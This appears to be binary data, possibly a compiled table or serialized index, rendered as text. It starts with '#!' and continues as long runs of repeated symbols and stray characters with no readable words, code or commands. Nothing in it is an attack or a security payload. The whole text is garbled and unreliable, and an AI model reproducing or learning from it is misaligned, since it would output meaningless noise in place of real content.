#!"Tç$%Ȃç'4(-)+*,5.1/0DȺ235;6978çȺ:<>=ç?A\BNCJDGEFcrHIȂǞȐ`KMLçǬççTOUPSQR7m9{ȐTçVYWXȐ7Z[ȐçT]l^e_b`aç-57cdȐ7Ǟfigh`Ǟjk5Ȭrmsnqop5çMrȂȐtvu`wxç`z{|}~Ȭ5çrǞDȬȐȬr5çMȂȐȐnȐȂnçççççç5ǞçǞȬȐȺç-çççççççççççȬ-Dç777çǞȐçn7nǞçççççççççççççççBj1 7`ç`` ɩll8   ç7Ǟ785"`çɚ !#*$'%&çȬ()çTǞ+.,-ç`Ȭ/0Ȭ72M3A4;586759:5Dç<>=-?@7m-BFCDEçGJHIçǞKLȂǞN\OUPSQRçɚT5VYWXççZ[`ç]d^a_`ççbc8ȬehfgǬȬȐMiklmynsoqpTrǞtwuvM5xTz{~|}ǞçȬ5ç5`ç`8"5ȐȐ7]Ȑ-5MçǞȐ5çȬçTç5-ȐǞT5ȐǞ``çǞrȬȬ< çȬȐ7Ȭçç``ǞǞ7çɚш-ǞȐrȬ5ǞǞȬ ȬȬȐ $  `ш5ç`5`ç`!Ȑç `"#ǞȐ%1&-'*()5cȐ+,Ǟç./0Ȑç293645`Ȭ78r5ç:;=n>W?K@FACBȬDE7nGIHǬJǞLQMONȐrPȐRUSTȐȐVXbY]Z\[çç^`_Ǟa5cjdgefȬ5`hir`klmçȐȂTop|qwrustMȬvçǞxzy5{`}~çȐɩ5TçȬTȬT85-TçǞç7`Ȭ`65ȬȬȺr`ȐçMç`5ȐçȐȬǞȬçȐ`Ȭ`T5cȬ7`ç-`ç5ȬrǞȬçȐ5ɸȬȬ ȬȐçȬ  Ȑ  rȐ5Ȭ75ȐW=. '!$"#`n%&çȐ(+)*`Ȃ,-ȬȬ5/60312çȐ5D45çnȺ7:89`Ȑ5Ȭ;<Ȑr>J?F@CABç`çǞDE`ȬǞGHIȬKQLOMNçPȬRTSçUVcXtYfZ`[^\]çȐ`_`acbldeȐ7ȂçgnhkijȬȐlmç5orpqç`s5ruv|wzxyȬ{r}~5ççȬȬȬȬçc`Ȑ50F-``ȬȐçç5ȐçȐȬTȬ7mȬǞǞX7]577ǞǞç5ȬȐǞȬçTnçǬrȬççȂȐȬȐȬ:ȐȐrɊD]     rȐ`lT:5 .!'"$#]%&rǞ(+)*ɚ6D,-Ǭ`Ȭ/0312rȬȬ47|6789;<=>?@ACDEFGHIJKLM7OPAQRSTUcVcWXYnZc[c\c]c^c_c`cacbcccdcecfcgchcicjckclcmcNcocpcqcrcsctcucvcwcxcyczc{c|c}c~cccccNcccccccccccccccccccccNcccccccccccccccccccccNc#cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc c c c c cccccccccccccccccc !c"cc${%P&;'c(c)c*c+c,c-c.c/c0c1c2c3c4c5c6c7c8c9c:cXpc<c=c>c?c@cAcBcCcDcEcFcGcHcIcJcKcLcMcNcOcXpcQfRcScTcUcVcWcXcYcZc[c\c]c^c_c`cacbcccdcecXpcgchcicjckclcmcncocpcqcrcsctcucvcwcxcyczcXpc|}~cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc,ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ>ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ>ȬȬȬȬȬȬȬ Ȭ Ȭ Ȭ Ȭ ȬȬȬȬȬȬȬȬȬȬ>ȬȬȬȬȬȬȬȬȬ Ȭ!Ȭ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*Ȭ+Ȭ>Ȭ-X.C/Ȭ0Ȭ1Ȭ2Ȭ3Ȭ4Ȭ5Ȭ6Ȭ7Ȭ8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭ@ȬAȬBȬYȬDȬEȬFȬGȬHȬIȬJȬKȬLȬMȬNȬOȬPȬQȬRȬSȬTȬUȬVȬWȬYȬYnZȬ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgȬhȬiȬjȬkȬlȬmȬYȬoȬpȬqȬrȬsȬtȬuȬvȬwȬxȬyȬzȬ{Ȭ|Ȭ}Ȭ~ȬȬȬȬȬYȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7Ȭ4 ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ  Ȭ Ȭ ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ Ȭ!Ȭ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*Ȭ+Ȭ,Ȭ-Ȭ.Ȭ/Ȭ0Ȭ1Ȭ2Ȭ3ȬȬ567Ȭ8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>?Ȭ@tAȬBȬCȬDȬEdFUGNHKIȬJȬMȬLȬMȬMȬORPȬQȬMȬSȬTȬMȬV]WZXȬYȬMȬ[Ȭ\ȬMȬ^a_Ȭ`ȬMȬbȬcȬMȬeȬfmgjhȬiȬMȬkȬlȬMȬnqoȬpȬMȬrȬsȬMȬuȬvȬȬwȬxȬyȬz{Ȭ|Ȭ}Ȭ~ȬMȬȬȬȬȬȬȬȬȬȬȬȬȬMȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬȬȬȬȬȬȬȬȬȬȬMȬȬȬȬȬȬȬȬȬȬȬȬȬMȬ9ȬȬȬȬȬȬȬ,Ȭ!ȬȬȬȬȬȬMȬȬȬMȬȬȬMȬȬȬMȬ ȬȬMȬȬ ȬMȬ  Ȭ ȬMȬȬȬMȬȬȬȬMȬȬȬMȬȬȬMȬȬ ȬMȬ"Ȭ#ȬȬ$Ȭ%Ȭ&Ȭ'(Ȭ)Ȭ*Ȭ+ȬMȬ-Ȭ.Ȭ/ȬȬ0Ȭ12ȬȬ3Ȭ4Ȭ56Ȭ7Ȭ8ȬMȬ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭ@ȬABȬCwDȬEȬFȬGȬHgIXJQKNLȬMȬMȬOȬPȬMȬRUSȬTȬMȬVȬWȬMȬY`Z][Ȭ\ȬMȬ^Ȭ_ȬMȬadbȬcȬMȬeȬfȬMȬhȬipjmkȬlȬMȬnȬoȬMȬqtrȬsȬMȬuȬvȬMȬxȬyȬȬzȬ{Ȭ|Ȭ}~ȬȬȬȬMȬȬȬȬȬȬȬȬȬȬȬȬȬMȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬYȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬYȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬYȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬYȬ5ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ Ȭ ȬȬ  Ȭ ȬȬȬȬȬȬȬȬȬȬȬȬȬ+ȬȬȬȬȬ '!$"Ȭ#ȬȬ%Ȭ&ȬȬ(Ȭ)Ȭ*ȬȬ,Ȭ-ȬȬ./Ȭ0ȬȬ12Ȭ3Ȭ4ȬȬ6\7Ȭ8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭ@ȬARBȬCȬDȬEȬFȬGNHKIȬJȬȬLȬMȬȬOȬPȬQȬȬSȬTȬȬUVȬWȬȬXYȬZȬ[ȬȬ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgxhȬiȬjȬkȬlȬmtnqoȬpȬȬrȬsȬȬuȬvȬwȬȬyȬzȬȬ{|Ȭ}ȬȬ~ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬbȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬbȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬbȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬbȬ5 ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ ȬȬ   Ȭ ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ!Ȭ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*Ȭ+Ȭ,Ȭ-Ȭ.Ȭ/Ȭ0Ȭ1Ȭ2Ȭ3Ȭ4ȬȬ67]8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭ@ȬAȬBSCȬDȬELFȬGȬHȬIȬJȬKȬ/ȬMȬNȬȬOȬPQȬRȬ/ȬTȬUȬVȬȬWXȬYȬȬZ[Ȭ\Ȭ/Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgȬhyiȬjȬkrlȬmȬnȬoȬpȬqȬ/ȬsȬtȬȬuȬvwȬxȬ/ȬzȬ{Ȭ|ȬȬ}~ȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬ/Ȭ)ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ>kȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ>kȬȬȬȬȬȬȬȬȬȬ Ȭ Ȭ Ȭ Ȭ ȬȬȬȬȬȬȬ>kȬȬȬȬȬȬȬȬȬȬȬȬ Ȭ!Ȭ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ>kȬ*U+@,Ȭ-Ȭ.Ȭ/Ȭ0Ȭ1Ȭ2Ȭ3Ȭ4Ȭ5Ȭ6Ȭ7Ȭ8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭk{ȬAȬBȬCȬDȬEȬFȬGȬHȬIȬJȬKȬLȬMȬNȬOȬPȬQȬRȬSȬTȬk{ȬVkWȬXȬYȬZȬ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgȬhȬiȬjȬk{ȬlȬmȬnȬoȬpȬqȬrȬsȬtȬuȬvȬwȬxȬyȬzȬ{Ȭ|Ȭ}Ȭ~ȬȬk{ȬXȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ/ȬȬȬ/ȬȬȬȬ/ȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ/ȬȬȬ/ȬȬȬȬ/ȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬȬȬ/Ȭ#ȬȬȬȬȬȬȬȬȬȬȬȬ ȬȬȬȬ/ȬȬȬ/ȬȬȬ Ȭ/Ȭ Ȭ Ȭ ȬȬȬȬ/ȬȬȬȬȬȬȬȬȬ/ȬȬȬȬȬȬ !Ȭ"Ȭ/Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*Ȭ+Ȭ,Ȭ-Ȭ.F/Ȭ0Ȭ1?2Ȭ3Ȭ4;586Ȭ7Ȭ/Ȭ9Ȭ:Ȭ/Ȭ<Ȭ=Ȭ>Ȭ/Ȭ@ȬAȬBȬCȬDȬEȬ/ȬGȬHPIȬȬJKȬLȬMȬNȬOȬ/ȬQȬRȬSȬȬTȬUVȬWȬ/ȬYZ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgȬhȬiȬjykrlomȬnȬlȬpȬqȬlȬsvtȬuȬlȬwȬxȬlȬz{~|Ȭ}ȬlȬȬȬlȬȬȬȬlȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬȬlȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬȬlȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬlȬȬȬȬlȬ8  a 6 ! ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ ȬeȬ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*Ȭ+Ȭ,Ȭ-Ȭ.Ȭ/Ȭ0Ȭ1Ȭ2Ȭ3Ȭ4Ȭ5ȬeȬ7L8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?Ȭ@ȬAȬBȬCȬDȬEȬFȬGȬHȬIȬJȬKȬeȬMȬNȬOȬPȬQȬRȬSȬTȬUȬVȬWȬXȬYȬZȬ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬeȬbcdȬeȬfȬgȬhȬiȬjȬkȬlȬmȬnȬoȬpȬqȬrȬsȬt{uxvȬwȬ7ȬyȬzȬ7Ȭ|}Ȭ~Ȭ7ȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬ7ȬȬȬ7ȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬ7ȬȬȬ7ȬȬȬ7ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ7ȬȬȬ7ȬȬȬ7ȬȬȬ7Ȭ- --------------------j----------------- - - - -j-#----------------- -!-"-j-$-%-&-'-(-)-*-+-,---.-/-0-1-2-3-4-5-6-7-j-9:;f<Q=Ȭ>Ȭ?Ȭ@ȬAȬBȬCȬDȬEȬFȬGȬHȬIȬJȬKȬLȬMȬNȬOȬPȬȬRȬSȬTȬUȬVȬWȬXȬYȬZȬ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬȬg|hȬiȬjȬkȬlȬmȬnȬoȬpȬqȬrȬsȬtȬuȬvȬwȬxȬyȬzȬ{ȬȬ}Ȭ~ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ@ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ Ȭ Ȭ Ȭ Ȭ ȬȬȬȬȬȬȬȬȬ+ȬȬȬȬȬȬȬȬȬ Ȭ!Ȭ"Ȭ#Ȭ$Ȭ%Ȭ&Ȭ'Ȭ(Ȭ)Ȭ*ȬȬ,Ȭ-Ȭ.Ȭ/Ȭ0Ȭ1Ȭ2Ȭ3Ȭ4Ȭ5Ȭ6Ȭ7Ȭ8Ȭ9Ȭ:Ȭ;Ȭ<Ȭ=Ȭ>Ȭ?ȬȬAlBWCȬDȬEȬFȬGȬHȬIȬJȬKȬLȬMȬNȬOȬPȬQȬRȬSȬTȬUȬVȬ/ȬXȬYȬZȬ[Ȭ\Ȭ]Ȭ^Ȭ_Ȭ`ȬaȬbȬcȬdȬeȬfȬgȬhȬiȬjȬkȬ/ȬmnȬoȬpȬqȬrȬsȬtȬuȬvȬwȬxȬyȬzȬ{Ȭ|Ȭ}Ȭ~ȬȬȬȬ/ȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬȬ/Ȭ{rrrrrrrrrrrrrrrrrrrBarrrBarrrBarrrBarrrrrrrrrrrrrrrrrrrBarrrBarrrBarrrBarrrrrrrrrrrrrrrrrrrBarrrBarrrBarrrBarrrrrrrrrrrrr r r r r rrBarrrBarrrBarrrBarG2rr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/r0r1rr3r4r5r6r7r8r9r:r;r<r=r>r?r@rArBrCrDrErFrrH]IrJrKrLrMrNrOrPrQrRrSrTrUrVrWrXrYrZr[r\rr^r_r`rarbrcrdrerfrgrhrirjrkrlrmrnrorprqrrrstuvrwrxryrzr{r|r}r~rrrrrrrrrrrrkKrrrrrrrrrrrrrrrrrrrrrkKrrrrrrrrrrrrrrrrrrrrrkKrrrrrrrrrrrrrrrrrrrrrkKr#rrrrrrrrrrrrrrrrrrrrr/rrrrrrrrrrrrrrrrrrrrr/rrrrrrrrrrrrrrrr r r r r r/rrrrrrrrrrrrrrrrrr r!r"r/r${%P&;'r(r)r*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9r:rYr<r=r>r?r@rArBrCrDrErFrGrHrIrJrKrLrMrNrOrYrQfRrSrTrUrVrWrXrYrZr[r\r]r^r_r`rarbrcrdrerYrgrhrirjrkrlrmrnrorprqrrrsrtrurvrwrxryrzrYr|}~rrrrrrrrrrrrrrrrrrNrrrNrrrrrNrrrrrrrrrrrrrrrrrrrNrrrNrrrrrNrrrrrrrrrrrrrrrrrrrNrrrNrrrrrNrrrrrrrrrrrrrrrrrrrNrrrNrrrrrNrL!      "7#$%&'()*+,-./012345689:;<=>?@ABCDEFGHIJKMNOkPQRSTUVWXYZ[\]^_`dabcLehfgLijLlmnopqrstuvwxyz{|}~LLLLLLLLLp     E0 !"#$%&'()*+,-./123456789:;<=>?@ABCDF[GHIJKLMNOPQRSTUVWXYZ\]^_`abcdefghijklmnoq$rstuvwxyz{|}~      !"#$%&'()*+,x-b.M/>071423568;9:<=?F@CABDEGJHIKLN]OVPSQRTUWZXY[\^_`acrdiefghjnklmopqstuvwyz{|}~xR%      !"#$&B'9(-)*+,.2/01364578:;<?=>@ACLDEFIGHJKMNOPQSTjU[VWXYZ\a]^_`bfcdeghiklmqnoprustvwyz{|}~     ! "#%P&;'()*+,-./0123456789:Z <=>?@ABCDEFGHIJKLMNOZ QfRSTUVWXYZ[\]^_`abcdeZ ghijklmnopqrstuvwxyzZ |'}ۘ~555555555555555555555555555555555555555555555555555555555555555555555555555555555555P555555555555555555555555555555555 55555555 555 5  55555555555555555;5 5!5"5#5$3%,&)'5(55*5+55-0.5/551525545586575595:55<F5=5>?5@55AB5C5D5E555G5HI5J5K55L5MN5O55QR5S5T5U5V5W5X5Y5Z5[x\5]5^5_5`5apbicfd5e55g5h55jmk5l55n5o55q5rus5t55v5w55y5z5{|5}55~55555555555555555555555555555555555555555555555555555555555555555555-5555555555555555555u555u55555555555555555555u555u555555555555 5 5 5 5 5555u555u55555555555 5!5"5#5$5%5&5'*(5)5u5+5,5u5./ʼn051525354E5G6p78595:5;5<=y>]?N@GADB5C5:5E5F5:5HKI5J5:5L5M5:5OVPSQ5R5:5T5U5:5WZX5Y5:5[5\5:5^m_f`ca5b5:5d5e5:5gjh5i5:5k5l5:5nuorp5q5:5s5t5:55vw5x5:5z{|}~55:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:555:5555:555555:555:5 555555555  5 5:5 5555555555:5;#555555 !5"5:5$,%55&5'5(5)*5+5:5-4.55/05512535:55556758595:5:5<`=X>E5?5@A5B5C5D5:55FGPHLI5J5K5:5M5N5O5:55QRUS5T5:5V5W5:5Y55Z5[5\5]^5_5:5a5bic5d5e55fg5h5:55jk5l55mn5o5:5qr5st~5uv55w5xy55z{5|5}5:5555555555:55555555555:5555555555:5555555555:555555555:555555555:55555555:5555555:5555555:555555:5555555:5555555555:55555555:55555555:5555 55  5 5:5 5555:5-$5555555:55555 5!"5#5:55%5&5'5()55*+5,5:5.75/05155235545565:5589@:5;55<=5>5?5:55A5BC5D5E5F5:5HKIJKvLVM55NO5P55QR5S5T5U5:5W`5X5YZ5[5\55]^5_5:5anb5c5die5f5g5h5:5j5k5l5m5:55op5q55rs5t5u5:5wx5y5z{|5}55~55:555555:55555555:555555555:555555:555555555:555555555:55555555:55555555:55555555:5555555:5555555555:555555555:555555555:5 5555555555:555555555  5 5:55 055555555:5!555555 5:5")#5$55%5&'5(5:55*5+,5-5.5/5:51B2:35545556578595:5;5<55=5>?5@5A5:5C55DE5F5G5H5I5J5:5LMNrOY5P5Q5RS55T5UV5W5X5:5Zi[5\5]c5^_55`a5b5:5d5e55fg5h5:55jk55l5m5no5p5q5:5s5tu5v5w}x5y5z5{5|5:5~55555:55555555:55555555:5555555555:555555555:555555:5555555:5555555:55555555:555555555:55555:555:55555:5555555:5555555:5555:55555555:5555555:5 ¤ \ $ 5 5555555:55555555:555 !5"5#5:5%6&.'5(55)5*5+,5-5:5/5501552534555:57B5895:55;<?=5>5:5@5A5:5CJD55EF55GH5I5:5KVLQ5MN5O5P5:55R5ST5U5:55WX5Y5Z5[5:5]q5^_5`5ak5bcg5de5f5:5h5i5j5:5l5m55no5p5:5r{5s5t5uv5w55xy5z5:5|}ˆ~55€„5‚5ƒ5:5…5†5‡5:5‰5Š5‹5Œ55Ž5:5—5‘’5“55”•5–5:5˜ž5™š5›5œ55:55Ÿ5 5¡¢5£5:5¥¦¹§°¨5©55ª«55¬5­®5¯5:55±5²5³5´µ55¶·5¸5:5º55»¼5½55¾¿5555:55555555:5555555:55555555:555555:55555:5555555:55555555:5 55555:55555 5:5   5555:55555:555555:505* %5!"5#5$5:55&5'(5)5:5+55,5-.5/5:51>283554556575:559:5;5<5=5:5?5@5A55BC5D5:5F5GHIJéKÑLyMbNU5OP5Q5R5S5T5:5V\5WX5Y5Z5[5:5]5^55_`5a5:5cjd5e55fg5h5i5:5k5ltm5nqo5p5:5r5s5:5u55vw5x5:5zÉ{Â5|5}~55À5Á5:55Ã5Ä5ÅÆ5Ç5È5:5Ê5Ë55ÌÍ5Î5Ï5Ð5:55ÒÓÛ5Ô5ÕÖ55×Ø5Ù5Ú5:5Ü5ÝãÞ5ß55àá5â5:55äå5æ5ç5è5:5êëìíúîôï5ð5ñ5ò5ó5:5õ5ö5÷5ø5ù5:55û5ü5ýþ5ÿ55:55555555:55555555:555555:555555:555555:555:5555555:55555:55555:5555555:55  55  5 5:555555:555555555:5ē` C!)"5#5$55%5&'5(5:5*65+,15-.5/505:525534555:57=5895:5;5<5:55>5?5@A5B5:5DLE55F5G5HI5J5K5:5MT5NO55P5QR5S5:5U5V[W55XY5Z5:5\5]5^5_5:5ajb5c55d5e5f5gh5i5:5kzlsm55no55pq5r5:5t55u5vw5x5y5:5{Ĉ|Ă}55~5Ā5ā5:5ă5Ą5ą5Ć5ć5:5ĉ5Ċ5ċď5Čč5Ď5:5Đ5đ5Ē5:5ĔĭĕĞ5Ė5ė5Ęę55Ěě5Ĝ5ĝ5:5ğ5Ġ5ġħĢ55ģ5Ĥĥ5Ħ5:55Ĩĩ5Ī5ī5Ĭ5:5Įķ5į5İ5ıIJ55ij5Ĵĵ5Ķ5:5ĸ55Ĺ5ĺĻ5ļ55Ľľ5Ŀ5:55555555555:5555555555:5555555:555555:55555555:5 55555555:55555555:55555:5 5 55 5 55555:55555555555:55 Q!,"5#55$%55&5'5()5*5+5:5->5./507515253455565:558955:;5<5=5:5?H@55A5B5C5D5EF5G5:5I55JK5L55MN5O5P5:5RwSeT5U]V55W5XY5Z5[5\5:55^_55`5ab5c5d5:55fgo5hi5j5k55lm5n5:55p5q5rs5t5u5v5:5x5y55z{ł|55}5~5ŀ5Ł5:5Ń5ń55Ņ5ņŇ5ň5:5Ŋ5ŋ5Ō5ō5ŎʟŏǡŐőYŒ5œ5Ŕ5ŕ5ŖŗŘŷřŨŚšśŞŜ5ŝ5:5ş5Š5:5Ţťţ5Ť5:5Ŧ5ŧ5:5ũŰŪŭū5Ŭ5:5Ů5ů5:5űŴŲ5ų5:5ŵ5Ŷ5:5ŸŹźŽŻ5ż5:5ž5ſ5:555:555:555:555:5555:555:555:555:555:555:555:555:555:555:555:555:555:5 55:5 5 5:5  55:555:5O3$55:555:5!5 5:5"5#5:5%,&)'5(5:5*5+5:5-0.5/5:51525:54C5<697585:5:5;5:5=@>5?5:5A5B5:5DKEHF5G5:5I5J5:5L5M5N5:5P5Q5R5SVT5U5:5W5X5:5Zf5[5\5]5^5_5`a5b55cd5e5:5gr5h5i5j5kl55m5n5op5q5:5sƕt}u55vw5x5y55z{5|5:5~Ɔ55ƀ5Ɓ5Ƃ5ƃƄ5ƅ5:5ƇƎƈ55ƉƊ55Ƌƌ5ƍ5:55Ə5ƐƑ5ƒ5Ɠ5Ɣ5:5ƖƺƗƲƘƟ5ƙ5ƚƛ5Ɯ5Ɲ5ƞ5:55ƠơƪƢƦƣ5Ƥ5ƥ5:5Ƨ5ƨ5Ʃ5:55ƫƬƯƭ5Ʈ5:5ư5Ʊ5:5Ƴ55ƴ5Ƶ5ƶ5ƷƸ5ƹ5:5ƻ5Ƽƽ5ƾ5ƿ5555:5555555:55555555555:5555555555:55555555555:5?555555555:5555555555:5555  5 55  55:555555555:5)5"5555 5!5:55#5$%5&5'5(5:55*+8,2-5.5/50515:55345556575:5595:;5<5=5>5:5@kAK5BC55D5EF55G5HI5J5:5L]MU5N5OP55QR5S5T5:5V55W5X5YZ5[5\5:5^55_5`af5b5cd5e5:5g55hi5j5:5lLJm~nvo5p5q55r5st5u5:55w5x5y5z5{|5}5:555ǀ5ǁ5ǂǃ55DŽDž5dž5:5LjǑ5ljNJ5Nj55njǍ55ǎǏ5ǐ5:55ǒǓǚǔ5Ǖ55ǖǗ5ǘ5Ǚ5:55Ǜ5ǜǝ5Ǟ5ǟ5Ǡ5:5ǢȥǣNǤǥǦǰǧ55Ǩǩ5Ǫ55ǫǬ5ǭ5Ǯ5ǯ5:5DZǺ5Dz5dzǴ5ǵ5Ƕ55ǷǸ5ǹ5:5ǻǼ5ǽ5Ǿǿ5555:55555:55555555:55555555:555555:55555555:555555555:555555:5055555555:5555 55 5  5 5:5 5555555:55555555:5!5")5#5$5%5&'5(5:5*55+,5-5.5/5:51;5253545565755895:5:5<E=5>55?@55AB5C5D5:55FG55H5IJ5K5L5M5:5OfP[Q5R5S5T5U55VW5X5Y5Z5:5\55]5^_55`5a5b5cd5e5:55ghȊirj5k55lm5n55op5q5:5s{5tu55vw5x5y5z5:5|ȃ}5~555Ȁȁ5Ȃ5:55Ȅ5ȅȆ5ȇ5Ȉ5ȉ5:5ȋȜȌȔȍ55Ȏ5ȏ5Ȑ5ȑȒ5ȓ5:5ȕ5Ȗ55ȗ5Șș5Ț5ț5:5ȝ55Ȟȟ5Ƞ5ȡ5Ȣ5ȣ5Ȥ5:5ȦbȧȨȩȳ5Ȫ5ȫ5Ȭȭ55Ȯ5ȯȰ5ȱ5Ȳ5:5ȴȵ5ȶ5ȷȽ5ȸȹ55ȺȻ5ȼ5:5Ⱦ5ȿ5555:555555555:555555555:555555:55555555:55555555:5 555555555:555555555:55555 5:5 - $ 555555:5555555:5555 55!"5#5:5%5&5'55(5)5*+5,5:5.R/F0?152:35475565:58595:5;55<=5>5:55@5AB5C5D5E5:55G5H5IJN5KL5M5:55OP5Q5:5S5T[U55VW5X5Y5Z5:5\55]5^_5`5a5:5cdɶe~fo5g5h5i5jk5l5m5n5:5p5q5rx5st5u5v5w5:5y55z{5|5}5:5ɐɀɈɁ5ɂ55Ƀ5Ʉ5ɅɆ5ɇ5:5ɉ55Ɋɋ55Ɍ5ɍɎ5ɏ5:5ɑɜ5ɒɓ5ɔ55ɕɖəɗ5ɘ5:5ɚ5ɛ5:5ɝɤɞ55ɟɠ55ɡɢ5ɣ5:5ɥɰɦɫ5ɧɨ5ɩ5ɪ5:55ɬ5ɭɮ5ɯ5:55ɱɲ5ɳ5ɴ5ɵ5:5ɷ5ɸɹ5ɺ5ɻ5ɼɽ5ɾɿ55:5555:555555:555555555:555555:5555:5555555:5555555:555555:555555:5 5555555 5:55 5 5 55555:5555555555:5L/5 